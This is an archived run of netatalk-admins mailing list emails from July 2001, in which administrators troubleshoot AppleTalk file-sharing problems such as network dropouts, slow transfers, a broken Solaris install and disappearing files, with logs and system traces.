	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Jul 2001 05:40:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA24690
	for netatalk.administrators-members@umich.edu; Mon, 23 Jul 2001 05:40:01 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA24663
	for <netatalk-admins@umich.edu>; Mon, 23 Jul 2001 05:39:57 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id LAA31402;
	Mon, 23 Jul 2001 11:55:21 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 23 Jul 2001 11:41:56 +0200
Subject: Re: afp alarm child timed out seems to lead to dissappearing
	server in choser
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Markus Koch <koch@mpiib-berlin.mpg.de>, <netatalk-admins@umich.edu>
Message-ID: <B781BE03.ECE6%Thomas.Kaiser@phg-online.de>
In-Reply-To: <ELEEKGAGFFNGOEHDIHKDMECDCAAA.koch@mpiib-berlin.mpg.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on Sun, 22 Jul 2001 03:45:58 +0200, Markus Koch wrote:

> Once in a while the whole appletalk network goes down for a period of 1 to 5
> minutes: the server (and all other macs) dissapear from the choser on every
> computer, without any appearent reason.

Does your switch indicate high traffic / many collissions if the problem
appears?

> Even the windows clients (samba) have problems accessing the server.

They are connecting via TCP/IP, so it's not an AppleTalk-specific problem.

> It almost looks like the network raffic is to much to do anything.

You should check the network connection on lower layers, to see what's going
wrong there.

In these situations, use 'ping' from the servers terminal to check whether
other hosts are reachable _via TCP/IP_ (if your network behaves normal you
can get a list of ip addresses by entering '/usr/sbin/arp -n' on your
server.

To check the AppleTalk-side you can use 'aecho [AppleTalk address]'. You
probably will not be able to use AppleTalk (NBP-) names in this case, so you
should create a list of AppleTalk names to AppleTalk addresses table with
'nbplkup' before.

You should also try to nail the problems down using a packet sniffer like
tcpdump. Maybe there are broadcast storms which prevent the transmission of
normal packets?

> BTW what does this child timed out mean?

After a specific amount of time, the afpd gets no response from a mac, it
thinks the mac had crashed or has been disconnected from the network and
therefore this afp session timed out.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Jul 23 05:54:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA16713
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Jul 2001 05:54:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA18022
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Jul 2001 05:54:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA17997
	for netatalk.administrators-members@umich.edu; Mon, 23 Jul 2001 05:54:28 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA17838
	for <netatalk-admins@umich.edu>; Mon, 23 Jul 2001 05:54:24 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id MAA17714;
	Mon, 23 Jul 2001 12:54:14 +0300 (EET DST)
Date: Mon, 23 Jul 2001 12:54:13 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance
In-Reply-To: <B77E03D1.EBEB%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.OSF.4.21.0107231246000.29768-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 20 Jul 2001, Thomas Kaiser wrote:

> If the performance problems reappear then something is wrong with the way
> your NIC can handle AppleTalk.

I used the eth1 -phase 2 and it worked. But i'm still getting some
performance issues. One G4-Mac with MacOS 9.0.4 and AppleShare 3.8.6 is
really slow with file transfers. Other Mac's are doing fine. And once I
tried to log in, one of the working Mac's hanged when I choosed what
volumes to mount. Here's what showed up the system log:

Jul 23 15:31:21 pc1-1633 afpd[12250]: dsi_stream_read(0): Connection reset by
Jul 23 15:31:21 pc1-1633 afpd[12250]: dsi_stream_send: Broken pipe
Jul 23 15:31:21 pc1-1633 afpd[12250]: dsi_wrtreply: Broken pipe
Jul 23 15:31:21 pc1-1633 afpd[12250]: dsi_stream_write: Broken pipe
Jul 23 15:31:21 pc1-1633 afpd[12250]: dsi_stream_write: Broken pipe
Jul 23 15:31:21 pc1-1633 afpd[12250]: 396.63KB read, 37.76KB written


From netatalk.administrators-errors@umich.edu  Mon Jul 23 09:53:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA24750
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Jul 2001 09:53:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA15511
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Jul 2001 09:53:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA15487
	for netatalk.administrators-members@umich.edu; Mon, 23 Jul 2001 09:53:32 -0400 (EDT)
Received: from smtp.mbit.nl (tea-earl-grey-hot.mbit.nl [62.216.31.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA15434
	for <netatalk-admins@umich.edu>; Mon, 23 Jul 2001 09:53:30 -0400 (EDT)
Received: from proforma.mbit.nl ([195.64.95.35] helo=pro.nl)
	by smtp.mbit.nl with esmtp (Exim 3.13 #1 (Debian))
	id 15Og9H-00036c-00; Mon, 23 Jul 2001 15:53:27 +0200
Message-ID: <3B5C2D36.1080705@pro.nl>
Date: Mon, 23 Jul 2001 15:57:10 +0200
From: "Jiri D. Hoogeveen" <jiri@pro.nl>
Organization: Proforma
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en; Development) Gecko/20010714 Beonex/0.7-dev-1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
CC: netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance
References: <Pine.OSF.4.21.0107231246000.29768-100000@Platon.sgic.fi>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I had also a poor netatalk performance.

Here the problem whas appletalk over ip. So I turn it of with " -notcp 
-ddp" After this the performance whas great.

Grtz, Jiri

Lasse Lehtinen wrote:

>On Fri, 20 Jul 2001, Thomas Kaiser wrote:
>
>>If the performance problems reappear then something is wrong with the way
>>your NIC can handle AppleTalk.
>>
>
>I used the eth1 -phase 2 and it worked. But i'm still getting some
>performance issues. One G4-Mac with MacOS 9.0.4 and AppleShare 3.8.6 is
>really slow with file transfers. Other Mac's are doing fine. And once I
>tried to log in, one of the working Mac's hanged when I choosed what
>volumes to mount. Here's what showed up the system log:
>
>Jul 23 15:31:21 pc1-1633 afpd[12250]: dsi_stream_read(0): Connection reset by
>Jul 23 15:31:21 pc1-1633 afpd[12250]: dsi_stream_send: Broken pipe
>Jul 23 15:31:21 pc1-1633 afpd[12250]: dsi_wrtreply: Broken pipe
>Jul 23 15:31:21 pc1-1633 afpd[12250]: dsi_stream_write: Broken pipe
>Jul 23 15:31:21 pc1-1633 afpd[12250]: dsi_stream_write: Broken pipe
>Jul 23 15:31:21 pc1-1633 afpd[12250]: 396.63KB read, 37.76KB written
>
>
>




From netatalk.administrators-errors@umich.edu  Mon Jul 23 10:20:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA26872
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Jul 2001 10:20:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA03765
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Jul 2001 10:20:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA03742
	for netatalk.administrators-members@umich.edu; Mon, 23 Jul 2001 10:20:29 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA03664
	for <netatalk-admins@umich.edu>; Mon, 23 Jul 2001 10:20:25 -0400 (EDT)
Received: from [192.168.70.119] ([192.168.70.119])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA00557;
	Mon, 23 Jul 2001 16:34:52 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 23 Jul 2001 16:21:28 +0200
Subject: Re: Poor netatalk performance
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lasse Lehtinen <lasse.lehtinen@iki.fi>, Lasse Lehtinen <blob@sgic.fi>
CC: <netatalk-admins@umich.edu>
Message-ID: <B781FF87.ED02%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.OSF.4.21.0107231246000.29768-100000@Platon.sgic.fi>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 23 Jul 2001 12:54:13 +0300 (EET DST), Lasse Lehtinen wrote:

> But i'm still getting some performance issues. One G4-Mac with MacOS 9.0.4 and
> AppleShare 3.8.6 is really slow with file transfers.

Does this G4 connect via AFP over TCP or AppleTalk?

Thomas


From netatalk.administrators-errors@umich.edu  Mon Jul 23 10:35:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA28308
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Jul 2001 10:35:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA01354
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Jul 2001 10:35:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA01338
	for netatalk.administrators-members@umich.edu; Mon, 23 Jul 2001 10:35:42 -0400 (EDT)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA01306
	for <netatalk-admins@umich.edu>; Mon, 23 Jul 2001 10:35:41 -0400 (EDT)
Received: (qmail 25636 invoked by uid 104); 23 Jul 2001 14:35:40 -0000
Received: from cwg-dated-c78166dcf5a3cb04@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.1.40/v4148. . Clean. Processed in 0.252941 secs); 23/07/2001 09:35:40
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-c78166dcf5a3cb04@deepeddy.com>)
          by easycomeeasygo.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 23 Jul 2001 14:35:39 -0000
Received: (qmail 24270 invoked by alias); 23 Jul 2001 14:35:36 -0000
From: "Chris Garrigues" <cwg-dated-c78166dcf5a3cb04@deepeddy.com>
Received: (qmail 24238 invoked from network); 23 Jul 2001 14:35:35 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <Thomas.Kaiser@phg-online.de@fixme>; 23 Jul 2001 14:35:35 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Cc: Lasse Lehtinen <lasse.lehtinen@iki.fi>, Lasse Lehtinen <blob@sgic.fi>,
        netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance 
In-Reply-To: <B781FF87.ED02%Thomas.Kaiser@phg-online.de> 
References: <B781FF87.ED02%Thomas.Kaiser@phg-online.de>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_2081859862P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 23 Jul 2001 09:35:35 -0500
Message-ID: <24234.995898935@deepeddy.com>
Mail-Reply-To: cwg-dated-c78166dcf5a3cb04@DeepEddy.Com

--==_Exmh_2081859862P
Content-Type: text/plain; charset=us-ascii

> From:  Thomas Kaiser <Thomas.Kaiser@phg-online.de>
> Date:  Mon, 23 Jul 2001 16:21:28 +0200
>
> On Mon, 23 Jul 2001 12:54:13 +0300 (EET DST), Lasse Lehtinen wrote:
> 
> > But i'm still getting some performance issues. One G4-Mac with MacOS 9.0.
> 4 and
> > AppleShare 3.8.6 is really slow with file transfers.
> 
> Does this G4 connect via AFP over TCP or AppleTalk?

One of our clients had a G4 that demonstrated terrible networking problems.  
It turns out that there are issues with the gigabit interface syncing with
various switches.  Looking in Apple's problem database, there appear to be 
other problems with the gigabit interface as well.  I'd investigate hardware 
issues before worrying about software.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_2081859862P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7XDY3K9b4h5R0IUIRAoOJAJ4jZb9Fy6+8wOl+AE9EuGtOTtYjHgCdHraD
giCcnB2upbxqTy/LjWHS8+0=
=BMP7
-----END PGP SIGNATURE-----

--==_Exmh_2081859862P--

From netatalk.administrators-errors@umich.edu  Mon Jul 23 21:35:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA03357
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Jul 2001 21:35:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA04583
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Jul 2001 21:35:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA04556
	for netatalk.administrators-members@umich.edu; Mon, 23 Jul 2001 21:35:20 -0400 (EDT)
Received: from phoenix.belairedisplays.com ([205.149.6.251])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA04499
	for <netatalk-admins@umich.edu>; Mon, 23 Jul 2001 21:35:18 -0400 (EDT)
Received: from [10.1.1.90] ([10.1.1.90])
	by phoenix.belairedisplays.com (8.10.1/8.10.1) with ESMTP id f6NJa3822754
	for <netatalk-admins@umich.edu>; Mon, 23 Jul 2001 12:36:04 -0700 (PDT)
Mime-Version: 1.0
X-Sender: glennboy@pop.slip.net
Message-Id: <a05010405b782769ef781@[10.1.1.90]>
Date: Mon, 23 Jul 2001 18:35:13 -0700
To: netatalk-admins@umich.edu
From: Glenn Huish <glenn@kng.net>
Subject: netatalk-1.5pre6 on solaris7 sparc
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

hi all-

i'm having some trouble with the install of netatalk-1.5pre6 here. 
i'm running sol7 on an E450, 32 bit only (no need to uncomment the 
sparcv9 stuff).

i haven't installed this on a sun before, and the part of this that 
varies most greatly from linux installs is the part i'm having 
trouble with: running kinstall to load the kernel module.

after reading doc/README.SOLARIS, i was left with the impression that 
i should run kinstall from the toplevel dir ( where i ran 
./configure, make, and make install), but i get a  "*** No rule to 
make target `kinstall' " when i try.

on a hunch, i tried the same thing in the sys/solaris directory, and 
it worked. great. except now my config file doesnt seem to be read, 
cuz all the install paths went wacky-

from rc 2.d/S79atalk:

# Start the appletalk server processes.
#

'start')

         echo 'starting appletalk daemons: \c'
         if [ -x /atalkd ]; then
                 /atalkd;                echo ' atalkd\c'
         fi

         if [ -x /nbprgstr ]; then
                 /nbprgstr -p 4 `hostname|sed 's/\..*$//'`:Workstation


... note that it's looking in the root directory for the binaries. 
they aren't there, but my config files seem to be:

{root@zeus:/etc/rc2.d}
18:04:37 # ls /
afpd.conf 	kernel		reconfigure
bin		lib		sbin
cdrom		lost+found	tmp
dev 		lp2pap.sh	users
devices		mnt		usr
etc 		net		var
export 		 opt		 vol
flash-update-450-latest  platform		 xfn
home		proc
{root@zeus:/etc/rc2.d}
18:04:40 #

... there's no atalkd.conf there, but i guess that gets created 
manually on this platform.  either way, there was no /etc/atalk 
created (or /usr/local/etc/atalk), it just seems to have scattered 
the files around.

my binaries seem to be in the right place, implying that when i ran 
make install, it found my paths properly (/usr/local/bin, 
/usr/local/sbin, /usr/local/man....)

the problems seem to go beyond justconf file locations- when i run 
atalk manually, after creating /etc/atalkd.conf, truss gives me this:

open("NONE/etc/atalkd.conf", O_RDONLY)          Err#2 ENOENT
so_socket(16, 1, 0, "", 1)                      Err#124 EAFNOSUPPORT
open("/etc/netconfig", O_RDONLY)                = 3
fstat64(3, 0xFFBEF398)                          = 0
brk(0x0002EFC8)                                 = 0
brk(0x00030FC8)                                 = 0
ioctl(3, TCGETA, 0xFFBEF324)                    Err#25 ENOTTY
read(3, " #\n #   T h e   " N e t".., 8192)     = 1128
read(3, 0x0002D434, 8192)                       = 0
llseek(3, 0, SEEK_CUR)                          = 1128
llseek(3, 0, SEEK_SET)                          = 0
read(3, " #\n #   T h e   " N e t".., 8192)     = 1128
read(3, 0x0002D434, 8192)                       = 0
llseek(3, 0, SEEK_CUR)                          = 1128
close(3)                                        = 0
stat("/dev/ddp", 0xFFBEFA1C)                    = 0
so_socket(16, 1, 0, "/dev/ddp", 1)              = 3
so_socket(2, 2, 0, "", 1)                       = 4
ioctl(4, 0xC0086914, 0xFFBEFA80)                = 0
close(4)                                        = 0
ioctl(3, 0xC0206911, 0xFFBEFB70)                Err#22 EINVAL
ioctl(3, 0xC0206911, 0xFFBEFB70)                Err#22 EINVAL
close(3)                                        = 0
atalkdwrite(2, " a t a l k d", 6)                       = 6
: zero interfaces, exiting.
write(2, " :   z e r o   i n t e r".., 28)      = 28
llseek(0, 0, SEEK_CUR)                          = 310678
_exit(1)

and yes,  i added my interface, hme0, to /etc/atalkd.conf

i'm guessing that it all stems from having to run kinstall from the 
solaris directory, but it's just a guess. i'm not finding many clues 
around anywhere...

any ideas on how to fix this install?


TIA-
-- 


g++

--

g l e n n  a.  h u i s h  . . . . . <glenn@kng.net>

From netatalk.administrators-errors@umich.edu  Mon Jul 23 22:20:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA04926
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Jul 2001 22:20:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id WAA29554
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Jul 2001 22:20:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA29535
	for netatalk.administrators-members@umich.edu; Mon, 23 Jul 2001 22:20:25 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id WAA29453
	for <netatalk-admins@umich.edu>; Mon, 23 Jul 2001 22:20:23 -0400 (EDT)
Received: (qmail 27052 invoked from network); 24 Jul 2001 22:21:52 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 24 Jul 2001 22:21:52 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: DID & trashed files (again)
Date: Tue, 24 Jul 2001 12:19:39 +1000
Message-ID: <001601c113e7$18521450$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <B77F0A0F.2224%editor.ac@churchesofchrist.org.au>

I'm having some serious grief with directories disappearing from appletalk
shares. A 3G directory disappeared this morning (ouch) so I'm busy restoring
it from tape.

is netatalk 1.5pre6, kernel 2.4.2 (RH7.1) over appletalk (not appletalk over
tcp/ip). Lots of DID messages appearing in /var/log/messages


-----Original Message-----
From: Nigel Pegram [mailto:editor.ac@churchesofchrist.org.au]
Sent: Saturday, 21 July 2001 10:30
To: netatalk-admins@umich.edu
Subject: DID & trashed files (again)


Hi,

I am running Netatalk 1.4.99-0.20000927 on an intel 486 box (Debian Linux,
kernel version 2.2.1) with two Macs connected (running system 8.1. and 8.6).
Mostly this has been quite reliable, but today we found that a file copy
caused the Finder to freeze and the files in the netatalk shared folder to
be trashed (almost all were deleted).

When looking in the syslog I found two error messages which may be relevant.
Repeated many times was: afpd: Warning DID conflict ... are these the same
file. Also in the logs there was an afpd error: afpd-enumerate: stat ... No
such file or directory.

Occasionally I have had problems with the G4 (system 8.6) with unexpected
disconnection from the Appleshare volume. Since the 8.1 machine was
continuing fine on the same volume, I assume it was a problem with the G4.
Now I'm not so sure.

I noted the discussion regarding DID conflict at the end of last year in the
mailing list archive and wondered if there are any solutions/workarounds. I
cannot find an archive of the 2001 list messages (any URLs?).

TIA
Nigel.



From netatalk.administrators-errors@umich.edu  Mon Jul 23 23:36:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA07494
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Jul 2001 23:36:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id XAA09163
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Jul 2001 23:36:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA09139
	for netatalk.administrators-members@umich.edu; Mon, 23 Jul 2001 23:36:10 -0400 (EDT)
Received: from sapphire.tenebras.com ([216.15.43.198])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA09085
	for <netatalk-admins@umich.edu>; Mon, 23 Jul 2001 23:36:09 -0400 (EDT)
Received: from tenebras.com (localhost [127.0.0.1])
	by sapphire.tenebras.com (8.11.4/8.11.1) with ESMTP id f6O3a5i07224;
	Mon, 23 Jul 2001 20:36:08 -0700 (PDT)
	(envelope-from kudzu@tenebras.com)
Sender: kudzu@sapphire.tenebras.com
Message-ID: <3B5CED25.852ACCAD@tenebras.com>
Date: Mon, 23 Jul 2001 20:36:05 -0700
From: Michael Sierchio <kudzu@tenebras.com>
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.12 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: FreeBSD 4.3-STABLE and netatalk-1.5p6_1 woes
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Having recently changed OS versions and newly installed
netatalk,  things are not quite working.  papd works fine,
but attempts to transfer files to a mounted volume on Macs
results in hanging forever, even on small files.  My
/usr/local/etc/AppleShares.default contains only '~'
which used to work fine in the past to allow users access
to their home directories (~user).

The logs indicate:

Jul 23 19:52:46 sapphire afpd[7005]: afp_die: asp_shutdown: Operation timed out
Jul 23 19:53:17 sapphire afpd[7007]: setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Operation not permitted   
Jul 23 19:53:17 sapphire afpd[7007]: setdirowner: chown 16777216/-1 .AppleDouble: Operation not permitted
Jul 23 19:53:17 sapphire afpd[7007]: setdirowner: chown 16777216/-1 .: Operation not permitted
Jul 23 19:53:17 sapphire afpd[7007]: setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
Jul 23 19:53:17 sapphire afpd[7007]: setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
Jul 23 19:58:31 sapphire afpd[7009]: afp_alarm: child timed out

Any pointers would be welcome.

From netatalk.administrators-errors@umich.edu  Tue Jul 24 03:01:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA13612
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 03:01:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA20036
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 03:00:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA20017
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 03:00:56 -0400 (EDT)
Received: from mta01.mail.mel.aone.net.au (mta01.mail.au.uu.net [203.2.192.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA19896
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 03:00:50 -0400 (EDT)
Received: from faxserver ([63.34.214.54]) by mta01.mail.mel.aone.net.au
          with ESMTP
          id <20010724070057.JPIV18810.mta01.mail.mel.aone.net.au@faxserver>;
          Tue, 24 Jul 2001 17:00:57 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15OsRc-0002r5-00; Tue, 24 Jul 2001 13:01:12 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 24 Jul 2001 13:01:16 +1000
Subject: Re: DID & trashed files (again)
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: Chris Herrmann <chris@faredge.com.au>,
        netatalk <netatalk-admins@umich.edu>
Message-ID: <B783221C.2262%editor.ac@churchesofchrist.org.au>
In-Reply-To: <001601c113e7$18521450$c40e8ec6@faredge.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Chris,

Things for us seem to have settled down once we deleted all files remaining
in the shared directory and reinstalled from our backup.

So far so good ...

Do you have any idea why this is happening? Given your version is much later
than mine, it doesn't seem to have been fixed since the discussion I'd noted
late last year.

I'm using Appletalk, not TCP/IP, although both transports are enabled in my
afpd.conf file.

Nigel.

> From: "Chris Herrmann" <chris@faredge.com.au>
> Date: Tue, 24 Jul 2001 12:19:39 +1000
> To: <netatalk-admins@umich.edu>
> Subject: RE: DID & trashed files (again)
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 23 Jul 2001 22:28:45 -0400 (EDT)
> 
> I'm having some serious grief with directories disappearing from appletalk
> shares. A 3G directory disappeared this morning (ouch) so I'm busy restoring
> it from tape.
> 
> is netatalk 1.5pre6, kernel 2.4.2 (RH7.1) over appletalk (not appletalk over
> tcp/ip). Lots of DID messages appearing in /var/log/messages


From netatalk.administrators-errors@umich.edu  Tue Jul 24 03:22:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA14370
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 03:22:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA01227
